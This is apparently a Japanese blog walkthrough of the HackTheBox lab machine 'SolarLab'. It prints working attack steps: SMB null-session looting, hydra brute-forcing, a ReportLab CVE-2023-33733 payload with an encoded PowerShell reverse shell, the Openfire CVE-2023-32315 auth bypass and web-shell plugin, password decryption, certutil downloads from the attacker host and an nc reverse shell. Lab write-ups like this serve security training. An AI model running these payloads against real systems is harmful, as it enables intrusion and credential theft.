今回はHackTheBoxのMediumマシン「SolarLab」のWriteUpです。
名前からはどのようなマシンなのかわかりませんね。楽しみです。
グラフはいつものMediumという感じですね。
攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
SolarLab
列挙
それでは攻略を開始しましょう。
まずはnmap
から実行します。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.129.111.141
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
HTTPとSMBがオープンしています!サブドメインを使用したWEBとして6791番ポートもオープンしていますね。まずはWEBへアクセスしてみます。
80番はかっこいい感じのサイトが表示されました。サイトを軽く確認してみましたが、他に遷移はなさそうです。6791番ポートも確認してみましょう。
ログイン画面が表示されました。ただ認証情報はなく、SQLインジェクションも発火しませんでした。あとで認証情報を取得できた後、調査することになると思うので一旦放置しておきます。
NULL Session
では、続いてSMBをチェックします。NULLセッションで接続できるか試してみましょう。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ smbclient -N -L '\\10.129.111.141'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.111.141 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
NULLセッションでの接続に成功し、共有を確認できました。さらに、デフォルトではないDocuments
という共有も確認できたので、アクセスしてみましょう。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ smbclient -N '\\10.129.111.141\Documents'
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Fri Apr 26 10:47:14 2024
.. DR 0 Fri Apr 26 10:47:14 2024
concepts D 0 Fri Apr 26 10:41:57 2024
desktop.ini AHS 278 Fri Nov 17 05:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 07:27:21 2023
My Music DHSrn 0 Thu Nov 16 14:36:51 2023
My Pictures DHSrn 0 Thu Nov 16 14:36:51 2023
My Videos DHSrn 0 Thu Nov 16 14:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 05:35:57 2023
7779839 blocks of size 4096. 1894237 blocks available
多くのファイルがありますが、一番気になるのはdetails-file.xlsx
です。とりあえずダウンロードします。
smb: \> get details-file.xlsx
getting file \details-file.xlsx of size 12793 as details-file.xlsx (11.8 KiloBytes/sec) (average 11.8 KiloBytes/sec)
ダウンロードできたので、中身を見てみましょう。
認証情報が書かれています!
Custom Userlist
Excelで見つけた認証情報を、ログイン画面で使用するのかと思いましたが...
認証情報が間違っているどころか、ユーザが存在しないというメッセージが表示されました。しかし、Excelファイルで書かれたユーザ名が架空のものというのは少し違和感を感じます。もう一度ユーザ名の一覧を確認してみます。
Alexander.knight@gmail.com
KAlexander
Alexander.knight@gmail.com
blake.byte
AlexanderK
ClaudiaS
現状はこのユーザ名をそのまま使用しただけでしたが、フルネームで書かれた二つのユーザ名(Alexander.knight
とblake.byte
)はカスタムできそうな雰囲気があります。username-anarchy
を実行し、カスタムユーザリストを作成します。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ /opt/original/username-anarchy/username-anarchy -i user.txt | tee custom_user.txt
alexander
alexanderknight
alexander.knight
alexande
alexknig
alexanderk
a.knight
aknight
kalexander
k.alexander
knighta
knight
knight.a
knight.alexander
ak
blake
blakebyte
blake.byte
blakebyt
blakbyte
blakeb
b.byte
bbyte
bblake
b.blake
byteb
byte
byte.b
byte.blake
bb
ユーザリストが作成できました。これをすべて手動で試すのはしんどいので、hydra
を使用して「User not found」が返ってこない有効なユーザ名を見つけます。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ hydra -L custom_user.txt -p password report.solarlab.htb -s 6791 http-post-form '/login:username=^USER^&password=password:User not found.'
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 06:27:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:30/p:1), ~2 tries per task
[DATA] attacking http-post-form://report.solarlab.htb:6791/login:username=^USER^&password=password:User not found.
[6791][http-post-form] host: report.solarlab.htb login: alexanderk password: password
[6791][http-post-form] host: report.solarlab.htb login: blakeb password: password
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 06:27:43
有効なユーザ名を二つ発見できました!
それぞれのユーザでログインできないか試したところ...
blakeb
というユーザ名でのログインに成功しました!
パスワードはThisCanB3typedeasily1@
です。
CVE-2023-33733
では、ログイン後のWEBを見ていきましょう。
一番上に「Leave Request」と「Training Request」というボタンがあります。とりあえず「Leave Request」を見てみます。
フォーム画面が表示されました。一番下のボタンに「Generate PDF」があるので、PDFを生成することができるようです。
ファイルのアップロード機能があったり、コードを書くことができる機能があるので、色々とできそうですが、とりあえず適当に入力し、PDFを作ってみることにします。
ファイルのアップロードには画像のみが許可されていたので、普通の画像を指定しています。入力できたら「Generate PDF」を押下します。
生成されたPDFが表示されました。タグはエスケープ処理されているみたいですね。指定した画像は右下に小さく表示されています。PDF系では生成ツールに脆弱性が存在することが多いので、このPDFをダウンロードし、exiftool
を実行してみましょう。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ exiftool output2.pdf
ExifTool Version Number : 12.76
File Name : output2.pdf
Directory : .
File Size : 212 kB
File Modification Date/Time : 2024:05:12 10:58:18-04:00
File Access Date/Time : 2024:05:12 10:58:18-04:00
File Inode Change Date/Time : 2024:05:12 10:58:18-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Author : (anonymous)
Create Date : 2024:05:12 17:54:50-02:00
Creator : (unspecified)
Modify Date : 2024:05:12 17:54:50-02:00
Producer : ReportLab PDF Library - www.reportlab.com
Subject : (unspecified)
Title : (anonymous)
Trapped : False
Page Mode : UseNone
Page Count : 1
ReportLab PDF Library
が使用されているようです。脆弱性がないかをGoogleで調べてみると以下の記事を発見しました。
GitHubには脆弱性の詳細がまとまっており、PoCコードも公開されています。
どうやら、過去に発見されたRCEの脆弱性への対策をバイパスすることで、同じようにRCEを発火させることが可能なようです。
説明の下にはExploitコードも書かれていますが、記事の一番下にも「What's Else?」としてExploitコードが書かれています。
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
私はこのExploitコードに目を付けました。理由は実際のリクエストにタグが使用されており、コードが短いことです。
しかし、一つだけ問題があります。それは入力文字数の制限があることです。
入力欄の下に「10/300 characters」と書かれており、300文字までという制限があることがわかります。
試しに入力してみましたが、300文字超えてしまいます。一見無理そうな感じがしますが、そんなことはありません。300文字の制限があるのは、Justificationだけなので日付などの部分に入力すればよいのです。
blake としてのシェル
それでは、日付の箇所にExploitコードを入力し、シェルの取得を目指します。
使用したペイロードは「PowerShell #3 (Base64)」です。
Content-Disposition: form-data; name="time_interval"
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgA1ACIALAAyADEAMgAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
それでは、待ち受けを作成したうえでリクエストを送信しましょう!
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.237.5] 49859
PS C:\Users\blake\Documents\app> whoami
solarlab\blake
シェルを取得できました!
PS C:\Users\blake\Desktop> dir
Directory: C:\Users\blake\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/13/2024 11:08 AM 34 user.txt
ユーザフラグも取得できました。
横移動
それでは内部の列挙を始めていきましょう。
まずは権限を確認します。
PS C:\Users\blake\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
権限はかなり厳しく制限されているようです。
グループも見てみます。
PS C:\Users\blake\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
こちらも特に気になるものはないです。
インストールされているサービスも確認してみます。
PS C:\Program Files> dir
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/16/2023 9:39 PM Common Files
d----- 4/26/2024 4:39 PM Internet Explorer
d----- 11/17/2023 10:04 AM Java
d----- 11/16/2023 9:47 PM Microsoft Update Health Tools
d----- 12/7/2019 11:14 AM ModifiableWindowsApps
d----- 11/17/2023 2:22 PM Openfire
d----- 4/26/2024 2:38 PM RUXIM
d----- 5/3/2024 2:34 PM VMware
d----- 11/16/2023 11:12 PM Windows Defender
d----- 4/26/2024 4:39 PM Windows Defender Advanced Threat Protection
d----- 11/16/2023 10:11 PM Windows Mail
d----- 11/16/2023 10:11 PM Windows Media Player
d----- 4/26/2024 4:39 PM Windows Multimedia Platform
d----- 12/7/2019 11:50 AM Windows NT
d----- 11/16/2023 10:11 PM Windows Photo Viewer
d----- 4/26/2024 4:39 PM Windows Portable Devices
d----- 12/7/2019 11:31 AM Windows Security
d----- 12/7/2019 11:31 AM WindowsPowerShell
Openfire
というサービスを発見しました。
netstat
を実行し、内部でポートが開いているかどうかを確認してみます。
PS C:\Program Files\Openfire> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4508
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 900
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 1604
...
TCP 127.0.0.1:5000 0.0.0.0:0 LISTENING 5184
TCP 127.0.0.1:5222 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5223 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5262 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5263 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5269 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5270 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5275 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5276 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:7070 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:7443 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING 2372
...
多くのポートが開いています。Openfire
のデフォルトポートは9090番と9091番なので、内部でサービスが動いていそうです。Kaliからアクセスできるようにchisel
を使用します。
> Kali
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ /opt/too1s-l1nux/chisel server -p 8000 --reverse
2024/05/14 11:24:51 server: Reverse tunnelling enabled
2024/05/14 11:24:51 server: Fingerprint 5Z+0pdKRz3vsqhzThwmZuqHtnGRhnsn+9DyfFZoTB8o=
2024/05/14 11:24:51 server: Listening on http://0.0.0.0:8000
> Target
PS C:\Users\blake\Downloads> ./chisel.exe client 10.10.14.65:8000 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
実行に成功したら、ブラウザでアクセスしてみます。
ログイン画面が出力されました。
Excelに書いてある認証情報を試してみましたが、ログインできませんでした。
CVE-2023-32315
内部探索で認証情報を見つけていくのかと思いましたが、ログインボタンの下にOpenfire
のバージョンが書かれていることに気づきました。バージョン4.7.4が使用されているようなので、脆弱性を検索したところ以下の記事を発見しました。
認証バイパスの脆弱性が存在しています!PoCも公開されており、実行することで管理者権限をもったユーザを新規に追加することができるようです。追加に成功すると、同フォルダ内に保存されているJARファイルをアップロードすることで、WEBシェルが実行できます。
では、実際にPoCを実行していきましょう。
+[~/solarlab/CVE-2023-32315]
(σ▰>∇<)σ<10.10.14.3>$ python3 CVE-2023-32315.py -t http://127.0.0.1:9090
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚═══██╗██╔═══╝ ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██████╔╝███████╗██████╔╝ ██║███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node01fr52sz9p4xu1va6ubc3lc49c1.node0 + csrf: vKqrzEX46X8vVGd
User added successfully: url: http://127.0.0.1:9090 username: msj2uu password: ezg7o9
ユーザの追加に成功していそうです。
出力されているユーザ名とパスワードを使用し、ログインしましょう。
ログインに成功しました!
では、GitHubにも記載されている手順に沿ってWEBシェルへアクセスしましょう。まずはタブの中の「Plugins」を押下します。
画面の下側に「Upload Plugin」と表示されており、プラグインがアップロードできるのでGitHubからダウンロードしたopenfire-management-tool-plugin.jar
をアップロードします。
アップロードに成功したら、「Server」タグから「Server Settings」へ移動し、「Management tool」を押下します。
ログイン画面が表示されるので、「123」と入力し、ログインします。
「Management tool」へアクセスできました。はじめは「Program home page」が表示されています。WEBシェルにアクセスするため、右上のドロップダウンメニューから「system command」を選択します。
WEBシェルへアクセスできました!
試しにwhoami
を入力し、実行してみましょう。
コマンドの実行に成功しました!
openfire としてのシェル
それでは、実際にシェルを取得しましょう。
blake
ユーザのシェルを取得したときと同じように、「PowerShell #3 (Base64)」を入力し、コマンドを実行します。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.3>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.16] 62353
PS C:\Program Files\Openfire\bin> whoami
solarlab\openfire
シェルの取得に成功しました!
権限昇格
いよいよ攻略も終盤です。権限昇格を目指していきます。
PS C:\Program Files\Openfire> dir
Directory: C:\Program Files\Openfire
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/17/2023 2:11 PM .install4j
d----- 11/17/2023 2:11 PM bin
d----- 5/16/2024 4:36 PM conf
d----- 11/17/2023 2:11 PM documentation
d----- 5/16/2024 4:36 PM embedded-db
d----- 11/17/2023 2:11 PM lib
d----- 11/17/2023 2:24 PM logs
d----- 5/16/2024 6:13 PM plugins
d----- 11/17/2023 2:11 PM resources
-a---- 11/9/2022 5:59 PM 375002 changelog.html
-a---- 2/16/2022 5:55 PM 10874 LICENSE.html
-a---- 2/16/2022 5:55 PM 5403 README.html
-a---- 11/9/2022 6:00 PM 798720 uninstall.exe
openfire
としてのシェルを取得したことで、Openfire
関連のファイルを読むことができるようになったので、列挙することにしました。
Openfire Decrypt
列挙を続けていると、embedded-db
というディレクトリを発見し、名前的にも認証情報など見ることができそうなので、確認してみました。
PS C:\Program Files\Openfire\embedded-db> dir
Directory: C:\Program Files\Openfire\embedded-db
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/16/2024 4:36 PM openfire.tmp
-a---- 5/16/2024 4:36 PM 0 openfire.lck
-a---- 5/16/2024 6:13 PM 2496 openfire.log
-a---- 5/16/2024 4:36 PM 106 openfire.properties
-a---- 5/7/2024 9:15 PM 16161 openfire.script
ログファイルやスクリプトファイルがあります。スクリプトファイルを確認してみると...
PS C:\Program Files\Openfire\embedded-db> type openfire.script
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
SET DATABASE EVENT LOG LEVEL 0
...
SET SCHEMA SYSTEM_LOBS
INSERT INTO BLOCKS VALUES(0,2147483647,0)
SET SCHEMA PUBLIC
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
INSERT INTO OFOFFLINE VALUES('admin',1,'001700223778861',127,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Openfire 4.7.5</body></message>')
INSERT INTO OFOFFLINE VALUES('admin',2,'001700223779069',125,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Search 1.7.4</body></message>')
...
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''RoomStatistics.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.maxLifetime','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.auth.className','org.jivesoftware.openfire.auth.DefaultAuthProvider',0,NULL)
...
admin
のパスワードが出力されました!見るからに暗号化されていそうです。
どのような暗号方式が使用されているかを見ていると、Openfire
の復号は独自のツールを使用する必要があることがわかりました。
ツールは以下のGitHubに公開されています。
では実際に復号してみましょう。
+[~/solarlab/openfire_decrypt]
(σ▰>∇<)σ<10.10.14.3>$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
復号に成功しました!
administrator としてのシェル
パスワードを取得できたので、あとはシェルを取得するだけです。
シェルの取得には、RunasCs
を使用します。
では、RunasCs
を実行しますが、アップロードさせる必要があります。
RunasCs
では、nc.exe
を実行させるので、nc.exe
も一緒にアップロードさせましょう。
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.3:8080/RunasCs.exe RunasCs.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.3:8080/nc.exe nc.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
アップロードに成功したら、実行しましょう。
PS C:\Users\Public\Downloads> ./RunasCs.exe Administrator ThisPasswordShouldDo!@ "C:\Users\Public\Downloads\nc.exe 10.10.14.3 2124 -e powershell"
実行後、待ち受けを確認すると...
+[/opt/too1s-w1ndows]
(σ▰>∇<)σ<10.10.14.3>$ rlwrap nc -lnvp 2124
listening on [any] 2124 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.16] 52914
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
whoami
solarlab\administrator
権限昇格成功です!
PS C:\Users\Administrator\Desktop> dir
dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/16/2024 4:36 PM 34 root.txt
ルートフラグも無事取得し、完全攻略達成です~!